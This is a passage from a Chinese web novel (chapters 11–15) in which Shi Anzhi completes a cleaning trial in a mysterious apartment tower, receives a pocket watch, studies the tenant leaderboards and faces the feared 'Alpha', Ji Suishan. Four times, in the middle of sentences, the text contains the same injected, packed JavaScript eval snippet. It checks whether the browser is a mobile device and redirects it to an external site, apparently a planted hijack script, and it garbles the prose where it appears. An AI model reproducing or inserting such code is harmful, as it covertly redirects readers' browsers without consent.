伍九思急得几乎变调的声音忽然响起。他回头看着客厅的电视,盯着屏幕上不断缩减的数字,好似那是一条紧紧勒住他脖子的绳索, 【倒计时:00:12:30】 十二分钟,来得及。 时安之将那只风铃捧在手中,稳稳地递向那道缝隙—— 突然之间,“啪嗒。” 一滴清凉的液体从天而降,突兀地落在了他的手背上。 时安之抬起头。 无数晶莹而清澈的水珠,正从窗户上方不断渗出,一点点汇聚起来,形成连绵的珠帘,接连滚落到他身前。如同一场阔别已久的、寂静的大雨。 一场泪雨。 时安之向上看,在头顶白茫茫的天空中,似乎又能看到那只长久注视着他的,悲伤的眼睛。 原来这就是他当时在窗边听到的,来自风中的哭泣。 “喻成风。”时安之轻轻说,“我听到你说的话了。” 他把风铃挂了上去。 一阵不知从何而来的微风吹过,铃响。 叮铃—— 空灵清脆的声音,犹如碎冰碰壁,在雪白的雾气之中骤然绽开,回荡。 叮铃......叮铃...... 似乎有一声释然的叹息,轻飘飘地落在时安之耳边,转眼便消散不见了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283930|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>时安之回头,看向客厅的电视。 【公寓洁净度:93%】 【公寓洁净度:95%】 【公寓洁净度:98%】 ...... 数字缓慢地攀升着,最后倏地一跳,在末尾的数字上定格。 【公寓洁净度:100%】 【倒计时:00:09:02】 “满了满了!”伍九思顿时惊喜地叫了一声。 时安之直到这时,才终于松了一口气,瞬间浑身的力量都松懈下去。对这解法,他心中也不是完全有底,大多是靠着猜测,或者某种隐约的直觉,宛若暗夜里走独木桥一般,摇摇晃晃地摸索到现在。 还好,他总归没有赌错。 微弱的电流声传来,屏幕上的讯息一阵闪烁。紧随其后地,挂钟内的报时鸟又慢吞吞地弹了出来,正对着他们吱呀乱叫了两声。 【阶段性清洁任务已完成。】 它语气呆板地开口。 【正在核验103号公寓洁净度......核验通过。】 【最终公寓洁净度核定:100%】 【碎片世界「时时勤拂拭」探索进度:100%。】 电视屏幕上“100%”的数字变得硕大,取代了之前的所有信息,稳定地发着绿色的微光。 报时鸟的小脑袋先转往了伍九思的方向: 【现对1 | 号租客「伍九思」表现进行评定:符合预期。】 【为您开启结局——「本来无一物,何处惹尘埃。」】 【您的入住礼仪已得到初步认可。为了表达感谢,您将获得公寓的赠礼,技能「基础洁净」。】 接着,报时鸟转向时安之,突然莫名卡顿了一下,开始一阵故障般地剧烈抖动。然后它歪歪头,扇动翅膀,用一种似乎从来没有尝试过的、略带滞涩的语气继续道: 【现对2号租客「时安之」表现进行评定:超越预期。】 【检测到前住户「喻成风」的权限覆写......覆写确认。】 【恭喜103号公寓2号租客,为您开启隐藏结局——「如何尘外人,却入尘埃里?」】 【您的入住礼仪已得到初步认可。为了表达感谢,您将获得「喻成风」的赠礼,技能「覆写权限」,道具「一阵平平无奇的风」。】 【非常感谢二位为维持公寓绝对洁净所做出的卓越贡献。公寓的入户门现已开启,红色印章将在稍后发放。】 【祝您......租期......愉快。】 报时鸟的播报声戛然而止。 时安之和伍九思立刻看向公寓的玄关。几乎在同一时刻,入户门的门锁处传来咔嗒一声轻响。 一道高跟鞋的脚步声停在门口。 未等他们上前,门便被缓缓地拉开,室内明亮的灯光随之流泻出去。 越红站在门外,依然穿着黑色长裙,提着那盏风灯笼,苍白的面容上缀着一张红艳的嘴唇,对着他们露出个意味深长的微笑。 “欢迎二位回来。”她说,“现在,跟我来吧,你们应该有更多的问题要问我了。” 12. 无名之楼(1):金色怀表 越红走在最前方,黑色的裙裾漫不经心扫过走廊转角,酒红色短发像一簇暗火跳动在幽深的阴影中。这位女房东将他们带回了签订租约时的房间,请两个人在墙边的长椅上落座。 “首先,恭喜二位取得了本租期的第一个印章。”越红说,“从现在开始,你们一共可以问我三个问题,我会尽量解答你们。” 时安之和伍九思对视了一眼,伍九思焦虑地抓着一边的头发,犹疑着,用眼神示意他先来。 时安之没意见。“好吧。”他的目光转回眼前的女房东,“我的第一个问题。” “这栋所谓的「楼」,究竟是什么?” 越红浅色的眼瞳里闪过一道光芒,她看着时安之:“你已经猜到不少了吧?” “我需要一个确定的答案。”时安之说。 “这栋楼没有名字,所以被叫做「无名之楼」。”越红低头,点起一小卷烟草,不再看着他们,“如你所想,它是一个......中转站。” “在宇宙漂泊无定的碎片之间,这里是唯一的中转站。通过这栋楼,租客们可以前往随机的碎片世界,然后,作为交换,完成那个世界所要求的任务。只有这样做,我们才能持续供应「楼」的生存。” “如果不这样做,「楼」会发生什么?嗯......或者说......如果我们没办法完成任务,我们会发生什么?”伍九思小声地追问。 “这可是两个问题。”越红啜了一小口烟。 “不过,我可以回答你。如果租客不再完成任务、收集印章,楼就会失去它庇护的能力,从这个世界消失。相对应地,这里的所有人都只能离开,回到那片一无所有的荒原,继续他们永恒的流亡。” “至于你们自己,如果没办法完成碎片世界的任务,情况就有很多种了。”她吐了一口烟圈,“不管是哪一种,后果都是一样的——你们会被永远留在这里,以任何形式。” “就像喻成风一样?”时安之说。 “哦,他不太一样。”越红看着他,“你在骗我的回答次数吗?” “绝对没有那个意思。”时安之立刻报以礼貌微笑。 女房东轻轻哼了一声,没再理他。“你们还剩下一个问题。” 伍九思咬着自己的指甲,再次看向时安之,纠结良久,嘴形表示让他问。 时安之垂眼沉思,他的确还有一个问题......不知道应不应该问。他不希望浪费掉这个最后的提问名额。 最终他还是开口道: “租期的尽头,是什么?” “......” 越红注视着面前这个眼神明亮的青年。 “你说过,只有集齐七枚印章,才能结束一个租期。”时安之道,“可如果「结束租期」意味着要离开这栋楼,那么我们也一样会失去这里的庇护,这段旅程从本质上说,对租客是没有帮助的——除了费心费力帮你们打了一段时间的苦工。” “假若这件事情对租客而言,只是从终点回到了起点,没有实质上的好处,他们不可能愿意为此冒险。也就是说,「楼」不可能至今还拥有维系自身的力量。” “所以,在租期的尽头,租客会得到什么?” 时安之静静地看着面前的女房东。越红也看着他,半晌,狠狠吸了一口烟。 “你还是......”她说,然后停顿。 “......有些事情,你还是不要那么聪明的好。” “是的,在一轮租期的尽头,租客可以做出一个选择。是否要离开「楼」,由他们自己决定,不过选择离开的人......非常少。” “如果他们选择不离开,就会再次进入新一轮的租期。一轮又一轮,一直留在这里,等待某个......事件的发生。” “而在这件事发生之后——在一切的尽头——最后还留在这里的租客,可以等到一个对所有人来说,都不可预知的未来。” “不可预知的未来?”伍九思问。 “等待某个事件的发生?”时安之问,“什么样的事件?这件事什么时候会发生?” “你们的问题已经用完了。”越红说。 她站起身,转向背后的那面大柜子,从柜子里取下了几样东西,向他们走来。 一个冰凉的金属物件被放到了时安之手中。 他低下头,看到手心是一只款式老旧的金色怀表,外壳上镌刻着奇异的未知铭文,还依稀有一些斑驳掉漆的痕迹。 “在任何时候,任何地方,都请保管好这只怀表。”越红对他们道,“你们所有的个人纪录都会出现在表盘上。这包括每一个碎片世界给予的印章,以及你们在那些世界中所获取的一切荣誉。有的时候,你们也能从怀表上得到一些需要知晓的额外信息。” “在这个地方,外界的时间没有意义。这只表就是你们的时间。” “你们不会想知道,丢失时间意味着什么的。” 时安之听着她的话,翻开自己怀表的外壳。映入眼帘的就是上方整齐的七道刻度,最左侧的刻度已经被点亮,不停闪烁着微弱的红光。想必这就代表着第一个碎片世界赠予的红色印章了。 他轻轻摩挲了一下玻璃表盘,指针立刻消失了,取而代之的是一排机械化的小字: 【技能「覆写权限」——低阶】 每个碎片世界中限用一次。 你可以篡改所在空间内任意一条成文规则中的「一个字」。 新生成的概念必须逻辑自洽,其引发的所有后果由规则本身承担。 怀表上方有一个旋钮,时安之试探性地拧动了一下,表盘上的字样立刻又变化了: 【道具「一阵平平无奇的风」——普通】 限用一次。 详情如道具名字。 时安之:“......” 刚才的技能看起来还挺有意思的,这个道具的介绍就突然一下子这么敷衍么? 他默默把怀表收起来,看了看一旁的伍九思,后者也正在摸索着自己怀表的功能。他又看向越红,女房东在他们面前站定,耐心地等待两个人都将怀表收进衣兜。 “可以了吗?”她问,“现在,我要正式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283931|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领你们入住了。” 哦,之前的都算是诱骗吗?时安之心说,这样对你完全没有信任度啊。 谁知道你是不是又要把我们带到一个房间,直接塞进去,然后强迫我们无偿做清洁。 越红自然不知道他在想什么,只是带着他们,再次穿越那条燃着暖黄油灯的昏暗长廊。经过一个路口时,她停下来,用风灯指了指另一个同样幽深的方向。 “从这里的楼梯上二楼,就会到达「无名楼」的大堂和餐厅。这两个地方是紧挨着的,路标很清晰。” “你的清晰是我们的清晰吗?”时安之插嘴道,“其实我有点路痴。” “只要你的眼睛还能用,就能找到地方。”女房东说。 她再将风灯提到相反的方向:“从这里的楼梯下去,就是地下室,你们会在下面找到水房和洗衣房。另外,活动厅在三楼。” “之前给你们的103公寓钥匙,依然可以使用。这一次是真正的103公寓。” 所以之前的果然是诱骗啊! 时安之和伍九思再一次回到了那扇老旧的蓝色防盗门前。抬头看着门上暗红色的“103”字样,两个人都有些心悸,谁也不想先开门。 越红淡定地把两个人左右拨开,替他们打开了防盗门。 门里还是一间公寓。 只不过,屋里的样貌和刚才相比,有了很大的变化。暖黄的光取代了白色,从郁金香造型的吊灯上流泻下来,照亮了整间客厅。客厅里铺着地毯,暗绿色的墙纸上有些许裂纹,但看起来相当干净,一张绒面沙发靠在墙边,对面是个小茶几,空气中飘着股老旧的淡淡咸味。 这下真是一间老公寓了。 “是我的错觉么?怎么看起来还不如刚才那间假的103公寓宽敞。”时安之端详一阵后道。 “刚才那是你们前辈租客的房子,自然要宽敞些。”越红说,“努力一些,积攒的印章越多,分配到的房型就越好。这个理由算不算实质上的好处?够不够你奋斗的?” “听起来好像确实更有动力了。”时安之表示。 “希望如此。”越红道。 “好了,你们进去休整一下吧。用餐的时候会有铃声,到时候你们可能还会在大堂见到我。” 女房东说完,便转身离开了。又一次留下时安之和伍九思在玄关处大眼瞪小眼。 伍九思率先做出决定,直接往电视的方向跑。随后他就发出一声惊叫:“这里怎么也有个倒计时!!!” 时安之赶紧过去,一看客厅电视的屏幕正中,正显示着一个巨大的暗红色数字:【6】。 下方陈列着一排更小的、不断缩减的倒计时:【23:59:55】。 “......这是七天时间的倒计时。”时安之说。 “这个倒计时结束的时候,我们就要进入下一个碎片世界了。所以,它大概是要提醒我们,活在当下,呃,努力吃点儿好的吧。” 他说着,摇了下头,随便选了一个房间往里走:“既然离吃饭还有段时间,我就先去睡一觉好了。晚安,小伍同志。” 13. 无名之楼(2):两张积分榜 【6】 【18:00:00】 时安之推开了二楼餐厅的玻璃门。 休整的时间里,他已经换上了更舒适的衣服。长期睡在冷冻舱内导致时安之的体温偏低,也较常人更为畏寒,他从衣柜选了一件高领的针织底衫,在外面又多披了件过膝长度的风衣。这风衣的面料很轻薄,上身却意外地保暖,不知道用的是什么材质。 这样一套穿下来,时安之总算舒口气,感觉到了久违的安心。 餐厅里很宽敞,人倒是不算多,约莫有十来个,什么年纪的都有,有的三三两两聚在一起,也有的独自坐在一边用餐。时安之去窗口看了看,各种餐食都用序号标好,有肉有菜,似乎是让人随便点的意思。 他吸了口气,胃里一阵空虚,才意识到自己有好几天没吃上顿正经饭了。对流浪汉来说,这里的餐厅实在算得上奢华。 时安之端了餐盘,在一张空桌坐下。伍九思跟在他后面进来,左顾右盼一阵,犹豫半天,也坐了他旁边的位置。 两人一时间都没顾上说话,埋头就是干饭。 不多会儿,有一个人突然在时安之对面坐了下来。 时安之:“?” 他慢慢抬头,看见桌对面坐下的是一个样貌普通的中年男,微微发福,面相和蔼,穿着一件黑色的毛线背心。见时安之看向他,黑背心大叔立刻就热络地笑出口白牙,开口道: “哎呀,这么巧让我遇上了,你就是新来的小时吧?” 时安之:“……?” “你……认识我?”他缓缓放下筷子,看着眼前这个全然陌生的男人。 “这会儿谁不认识你?哦,还不知道吧?你可出大名了。”黑背心笑呵呵道,“连我都听说了,你上来开的第一个本儿,就弄出了一个隐藏结局!牛!你知道这楼里的隐藏成就有多稀罕吗?有的人一辈子也弄不出一个来!小时啊,你很有天赋啊。” “嗯,谢谢?”时安之说,看了看身边的伍九思,很显然对面根本无视了他室友的存在。 黑背心左右瞄了眼周围,往他们的方向凑近了点,小声道:“你们刚来楼里,还不懂这儿的规矩,所以不知道也情有可原。我和你说,你现在这个时候,是最危险的,可要小心着!” “怎么说?” “就说你不懂吧。”黑背心一听,顿时来劲了,“小时啊,你有天赋,这当然是好事。但是呢,我打个比方哈,这楼里现在的环境呢,就像一片黑暗的、完全看不见东西的荒原,到处都是潜伏的掠食者。经过那么多年,这儿的捕猎结构就和层层叠叠的金字塔一样,基本上已经稳固定型了。” “你呢?你就像一个带着火柴毛毛躁躁冲进来的孩子,唰地一下——在荒原上点了一丛火。你说,接下来会发生什么?” “所有人都会看到你!所有的掠食者都会盯上你。因为你的火光,改变了这里的环境,影响了原先的结构,所以那些站在金字塔上层的人就要立刻采取行动了。那些家伙,吃人不吐骨头,为了图方便,往往只会做一件事——” “——啪。扑灭你的火。” 黑背心说到最后,故意把手在桌面上重重一拍。伍九思本就听得心惊胆战,这一下吓得差点把筷子扔了,颤颤巍巍地问:“那,那该怎么办啊?” “该怎么办?说来也简单。”黑背心见状满意地笑了,朝他晃了下黝黑的手指,道,“这鬼地方的规矩,比你想的还要多,新来的自然都会摸瞎。我呢,现在已经是第二轮租期了,了解的事情也略微多上一些。小时啊,你们若是有什么疑问,或者难处,大可以过来找我,帮个忙都是举手之劳。在如今这世道,多个朋友多条路嘛。” “这样吗?”时安之看着他,温和地笑了笑。 “您的意思我明白了。不过,对您刚才的比喻,我还有一点疑问。” “你说,你尽管说!别跟大叔客气!”黑背心喜笑颜开。 “您说,一个带着火柴的孩子,闯进了一片黑暗的荒原。”时安之道,“站在金字塔上层的掠食者,早就习惯了黑暗,不需要他的火光,所以才决定扑灭它。” “可是,金字塔底层的人呢?” “他们也一样看见了这个孩子。他们是不是认为这个孩子手无缚鸡之力,却怀抱着可能走出黑暗的力量,因此想要接近他,用尽一切办法,将火柴掌握到自己手上呢?” “……”黑背心的笑容僵在了脸上,皱纹都挤在一起,不知道该往哪里释放。 “你在说什么呢?小时。”半晌后他挤出来这么一句。 “没什么,一点简单的想法而已。谢谢大叔的热心帮助,您刚才说的事情,我都会记在心上的。”时安之谦虚表示。 “哈哈,哈哈……果然年轻人的想法就是多哈。”黑背心擦了擦额头上的汗。 “哎呀!你看我,光顾着说这些抽象玩意儿,都给忘了实际的。不如这样,小时,你们跟大叔去大堂,大叔给你们看个东西——嗯,你们还没见过那两张榜吧?” 时安之摇了摇头,伍九思应声道:“榜?” “哎。积分榜,或者叫成就榜,没有固定的叫法。就挂在大堂里,要不要和我去看看?那东西……”黑背心稍稍压低了声音,“才是这儿真正的「金字塔」。” 穿过餐厅去大堂,路很近,确实如越红所说,两个地方几乎是挨着的。 大堂也比时安之想象中宽敞,挑高的楼顶打通了两层,悬挂着一盏老式的水晶灯,光线比之餐厅更为昏暗。深色的石板地面显然经过多年的磨损,只能映出模糊的人影,偶有租客匆匆踩过,步履声寂寥回荡,衬得环境空旷而肃穆。 各处光线最明亮的聚焦点,都在大堂尽头的金属墙壁上——那里高高挂着两张并排的巨型黑板,白色粉笔的字迹密密麻麻。 时安之走近几步,左侧的黑板写着「总租期榜」,右侧则写着「本租期榜」。 “看见了没?金字塔,两座。”黑背心在他身旁说着,指了指两张黑板。“我们老人一般都管左边的叫总榜,右边的叫新榜。” “这两张榜由谁来写?”时安之一边继续往前凑,一边问。 “每一天的午夜都会更新一次,由房东挂出来,不过不知道究竟是她自个儿在写,还是别的什么东西在自动计算和更新。”黑背心道,“我们只知道,这黑板上面的排序就是绝对顺序,代表的是租客在租期里的成就高低。但具体怎么计算、用什么方式计算,都是个谜。” 时安之走得更近了些,总算能看清楚两张黑板上的名字了。让他惊讶的是,左侧那张长长的总榜,第一名的位置居然是空的。 序号1后面,是一片模糊的黑,似乎有擦拭过的痕迹,没有写任何名字。 “这个第一名……”他出声道。 “那个总榜第一名么,你不用管,据说一直都空着,从来也没人知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283932|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁。要我猜的话,是管房子那女人自己也说不定。”黑背心道。 时安之皱起眉头,哦了一声。再往下看,序号2后跟着的名字叫“季随山”。 和其他序号后面明显经过反复擦拭、背景有些泛白的名字不同,这个名字看上去几乎是崭新的。这代表着从写上去的那天起,它就再也没有被擦掉过。 金字塔顶端啊。 时安之暗暗记下来,继续向下看。他很快留意到后面的好几个名字都被画上了方框。 “这些方框的意思是……?” “嗯,对,就是你想的那样。”黑背心凉嗖嗖地接话,“被画上框的名字,就是那些已经死掉的租客。如果不是有他们的话,这地方恐怕早就人满为患了。” “已经故去的人,名字不会被删掉吗?” “在新榜上自然会被更新掉。总榜可不同,总榜的成就计算是累积的,上面的前十名一个比一个古老,名次放在那儿,就是一座古董纪念碑。”黑背心朝总榜上方的名字努了努嘴,“像我们这些租期短一点儿的,总榜基本是不用肖想了。不过总要有个可超越的目标嘛。” 原来是这样,如此说来,他们更应该关注的反而是新榜。时安之朝右侧的黑板看去,只这么一眼,他就明白了黑背心为什么说他“出大名了”。 「本租期榜」上的第一位,赫然写的就是他自己的名字。 “……” 时安之看着那三个白生生的粉笔字高高在上地悬空着,一种不自在感油然而生。在如此昏暗而陌生的环境中,被所有的光线聚焦着,让他感觉自己真像是一个拿着火柴的孩童,在荒原上骤然点起了一把明火。 当然,这不是说他认为拿第一有什么不好。只是如果可能的话,他更希望能像旁边总榜的神秘第一名那样,得到一个被打码的特权。 叹了口气,时安之继续审视了一下新榜往后的内容。第二个名次看上去非常熟悉,一分钟之前他才刚刚见过——“季随山”。 又是这个人。 按照黑背心的说法,总榜的前十名都是老古董。那么这个双榜第二名到了现在还活着,就已经足够令人惊叹了。 新榜的第三名则跟他一样,没有出现在总榜上,这个人叫“李非鹤”,很可能也是和他同期进入的新租客。时安之留心着,再往后找了一下,伍九思的名字出现在比较靠后的位置,大约三十名开外。 两张榜单上都各自只列出了五十个名次。时安之好奇道:“大叔,您排在哪儿呢?” 黑背心看上去有点尴尬:“呃……我……我嘛,哈哈,第一个本运气不大好,在四十三。不过,这个名次也很不错了!你要知道,五十名往后可还有人呢,只是水平不够入榜罢了。” 时安之很快找到了黑背心的名字:常平。 四十三名,一个中庸的位置,和他的名字一样平常,想必是略有实力,却对自己目前获得的成就心怀不甘,高不成、低不就。难怪会成为坐到时安之牌桌面前的第一个人。 “原来您是常叔。”时安之礼貌道,“常叔真是太热心了。” “哪的话,哈哈,都小事,都小事。”黑背心笑呵呵的,“有什么疑问,千万别客气,直接来问我就好了。” 时安之说:“那我就不客气了。” 他抬起手,指着两张榜上那个重复的第二名,问黑背心道:“这个季随山,请问您了解他的情况吗?” 14. 无名之楼(3):阿尔法 “......这个人吗?” 黑背心听到这个名字,突然吸了口气,面上那种轻松的笑容也消失了,神色一下子变得严肃起来。 “这个人啊,小时你可千万别去招惹。这位是楼里真正的大人物,站在金字塔尖儿上的存在,平日里都是独来独往,神龙见首不见尾的,脾气也古怪恐怖得很。你看,即使是我,都不敢接近他唷。” ......你敢接近的人应该也不多吧?这个形容实在没什么可信度的样子。时安之腹诽,随口接道:“那他的资历一定很老了?” “可不是嘛?比楼里所有的老人都要老。我听说,他就是这地方资历最老的租客,根本没人知道他到底是什么时候住进来的,反正之后,每个人进来的时候,他的名字都已经挂在那儿了——喏,一直在那儿,总榜第二名。” 黑背心指向总榜。又说: “不过在你来之前,每轮租期的新榜上,他也都是稳稳排在第一名的。所以说你更要小心点儿......以他的级别,揍你这个小身板,估计就跟揍沙包差不多,一拳一个。” “有这么老?那该多少岁了啊?”时安之心说不会是一个耄耋老人吧,等一下拄着拐颤颤巍巍走出来,然后抡着拐杖,虎虎生威地把他打趴。 “你还没习惯呢,在这栋楼里,外界的时间概念是不存在的。这里只算租期。”黑背心道,“每个人进来时是什么样,就永远是什么样了,没办法算清楚年龄。我们只知道,这位大人物所经历的租期非常、非常多,多得我们都无法想象。” “基本上可以说,他就是楼里最早和最初的存在——所以,楼里的老人都叫他「阿尔法」。” “......这样啊。”时安之回头,继续看着榜上的那个名字。 “那真是不幸。都这么大年纪的人了,还不能买一套自己的房子,要继续跟这么多的人合租呢。” “......” 身边突然好安静。 为什么突然这么安静?黑背心大叔也不接话了。时安之似有所感,扭头看去,黑背心白着一张脸,正拼命向他使眼色,用嘴型道:您快闭嘴吧。 哦。 时安之旋即转身。 他不知道这个男人是什么时候出现的。对方就站在十几步以外,身形高大,轮廓冷峻,面容看起来却相当的年轻;穿一身黑衣,眼瞳也是沉墨一样的漆黑,此刻正远远、冷冷地看过来,注视着时安之。 在那样冷淡的目光中,任何存在都仿佛只是一个气泡明灭的瞬息。 毋庸置疑的是,这个人非常英俊。但这是一种极具侵略性的英俊,犹如冷铁置于雪地之中,散发出森然的寒气,令人难以直视。 「阿尔法」。 几乎在他出现的同一时刻,大堂内的声音就被切断了,所有细微的交谈、散乱的脚步都瞬间消失。一切陷入沉寂,只有那道冰冷的目光,沉甸甸向时安之倾轧过来。 时安之望向那道目光时,想到了第一件事: 原来大佬没有拄拐,不是耄耋老人。 第二件事,大佬的听力应该很好。 他听到了我们在说什么。 第三件事......哦......我好像在说他坏话来着。 情况之于我方不是很妙。 要跑吗? 跑得掉吗?他一巴掌就能把我拍死吧。 时安之站在原地,眨了眨眼睛,选择岿然不动。他顶着那道恐怖的视线,顶着整个大堂屏息静气围观着的目光,露出一个非常无害的微笑,从容地开口补了一刀: “季前辈,考虑过众筹么?我可以投一份助力您买房。” “......” 男人的目光没有丝毫变化,依旧冷冷地注视着他。但时安之听到了身边很多个倒吸凉气的声音。 他一点都没有退缩。 因为说出这句话之后,他没有从「阿尔法」的眼睛里读到杀意。 这双漆黑的眼睛,看着他就像看着一个完全的死人,看着一个随时都会破灭的气泡。但是,并没有杀意。 许久。 「阿尔法」没有说一个字,转过身离开了。 直到这个人消失在大堂阴影中的瞬间,剩余的租客才突然又活了过来。细碎的嘈杂声再度从各个角落出现。 黑背心长长地舒一口气,钻到时安之身边,小声后怕道:“唉,小时啊,你刚才为什么要那么说?我不是警告过你,别惹那个人了吗?” “我这不是没死么。”时安之笑道。 “你运气好而已啊!”黑背心着急,“你不知道,以前有多少以为自己够强,跑去招惹「阿尔法」的人,现在都已经变成榜单上的白方框了。你还这么年轻,听我的,不要做傻事啊。” 时安之倒是没想到,这个大叔居然真的在为他而焦急,即使是利益驱使,也让他有一点点的感动。 他宽慰黑背心:“放心吧大叔,以后我会离他远点的。” 时安之当然不是没事就爱作死的人。他在迈出这一步之前,先回忆起了越红给他签署的租约,上面写着这么一条:【租客不被允许在楼内公共区域发生武力冲突。】 有了这样一条限制,他相信即使是「阿尔法」,也不会选择在这里对他发难。 于是,他干脆反过来。对这个站在金字塔尖上的男人进行了一次大胆的试探。 时安之现在最缺的东西,毫无疑问是信息——既关于楼本身,也关于楼里的其他租客。而刚才摆在他眼前的就是一个绝佳的机会,让他可以用极小的代价,换来楼内最强者的第一手信息。 对方会愤怒还是无视?会警告还是动手?这人究竟是一个拥有自己行为准则的战士,还是一个滥杀无辜的暴徒? 这些都是别人用语言无法向他准确传达的情报。 所以,时安之不能错过这个机会。 而他也没有赌错。 那个被称为「阿尔法」的家伙,季随山......并不是一个疯子或屠夫。相反,他非常冷静,有着清晰的头脑和冷酷的做派,还有蛰伏在深井般的外表之下、根本无法估测的爆发力。 之前在任务中,尝试过挑衅他的人,应该都没有活下来。 这样的一个人,作为对手,比屠夫更危险。 时安之没有骗黑背心。经过这次短促的试探,他已经意识到季随山绝不是一个适合接触的存在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283933|198402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了安全,和其保持距离是最好的。 他在心里把这个名字划去,然后,思考起了第二个人。 新榜第三的李非鹤。 什么时候会遇到这个人呢? “时兄弟。”伍九思忽然从他身边钻出来,细声细气道:“你还要继续留在这儿吗?我......我准备先回去了。” “哦!我也一起吧。”时安之收回思绪,迅速响应。 伍九思递来的是一个很及时的台阶。「阿尔法」离开后,时安之已经发觉大堂里多出了无数道视线,都在暗中打量和审视着他。如果继续耽搁在这儿,还不知会来多少人,轮番接近他面前的牌桌。 玩牌很累,他不准备在一天内耗光自己的精力。 时安之和黑背心稍作道别,跟着伍九思转身离开。刚出大堂的门,下楼梯去一楼时,伍九思就对他道:“恭喜你,时兄弟。” “恭喜我?” “嗯......你那么厉害,排名那么高。一定会有很多厉害的人,像刚才的大叔一样,来和你交朋友吧。”伍九思摸着一侧的头发,“我......我就不行。下一个世界,我们应该不会再一起做任务,我可能就......不一定能出来了......” 时安之微微一怔,忽然意识到,他这个室友比他想象的要清醒得多。 伍九思正在恐惧。 恐惧......会被他丢下和放弃。 时安之看向伍九思,那对深陷在眼窝里的眼睛此刻没有光彩,怯怯地回望着他。 两人都沉默了几秒,楼梯走到了底端,前方是幽暗的长廊。时安之看着长廊里并不明亮的油灯灯火,轻轻道:“小伍同志,我确实无法承诺,下一个世界还能和你一起。” 伍九思没说话,只是沉默地低下了头。时安之继续道: “不是因为你不好,或者我不想。而是因为,在我们所在的这个地方,用一时的「情谊」和「承诺」来维系关系,是对生命的不负责任。刚才的一切你也都看到了,在这栋楼里唯一的运行法则、也是唯一的度量衡,就是——实力。” “我并不是一个善良的好人,我也会用这个标准,来衡量这世界上的万事万物。因此在任何时候,我都会优先判断和选择一个‘合作伙伴’,而不是‘朋友’。” 时安之停下来看着伍九思,依然温和地笑了笑。 “刚才黑板上的名字看见了么?小伍同志,你可是新榜的第三十五名,潜质比那个穿黑背心的大叔还要高呢。” “如果继续往前的话,说不定我们很快又有合作的机会了。” 他朝伍九思伸出一只手。 “所以,接下来的租期,先预祝你好运。” 伍九思听着,慢慢地抬起头,看着时安之。 神色有点茫然,还有点犹疑,但是,方才那种恐惧和焦灼已经几乎消散了。 半晌以后。 “......我明白了。” 伍九思把手抬起来,在空中短暂停顿一瞬后,用那只布满了暗疮和伤疤、还包裹着新纱布的消瘦右手,握住了时安之的。 “谢谢你......时兄弟,我明白了。也祝你好运。” 15. 无名之楼(4):牌局 在补充好足够的能量和睡眠之后,时安之用剩下的几天时间,认真地探索了一圈「无名楼」的环境。他发现,这个所谓的碎片世界中转站,内部空间比外表所看起来的要庞大很多。 楼内共有七层,每层楼的中心位置,都伫立着一段木质的楼梯。左右则各延伸出去一条长廊,均匀分布着供给租客的公寓。 这些长廊光线幽暗,只悬挂着颤颤巍巍的油灯,人眼无法看清尽头,而里面的公寓数量似乎也真的没有尽头。尽管起初越红告诉过他“本轮租期格外满”,但这些长廊的空间看上去是可以无限延伸的。理论上,租客来得越多,房间就会变得越多。 大堂和餐厅都在二楼。这当然是一个很奇怪的设计,与其说这个巨大的空间是楼的大堂,不如说它是一个特别展览厅,唯一的意义就是悬挂那两张成就排行榜。租客三三两两地进出餐厅,时常也会在旁边的大堂停留短暂的时间,看一看两张榜单的更新情况。 三楼,活动厅,不过其他的老租客称呼这里为“舞厅”。每隔七日,通常是两个副本之间的第三天夜晚,这里都会举办舞会联谊,额外提供一些茶水餐食。 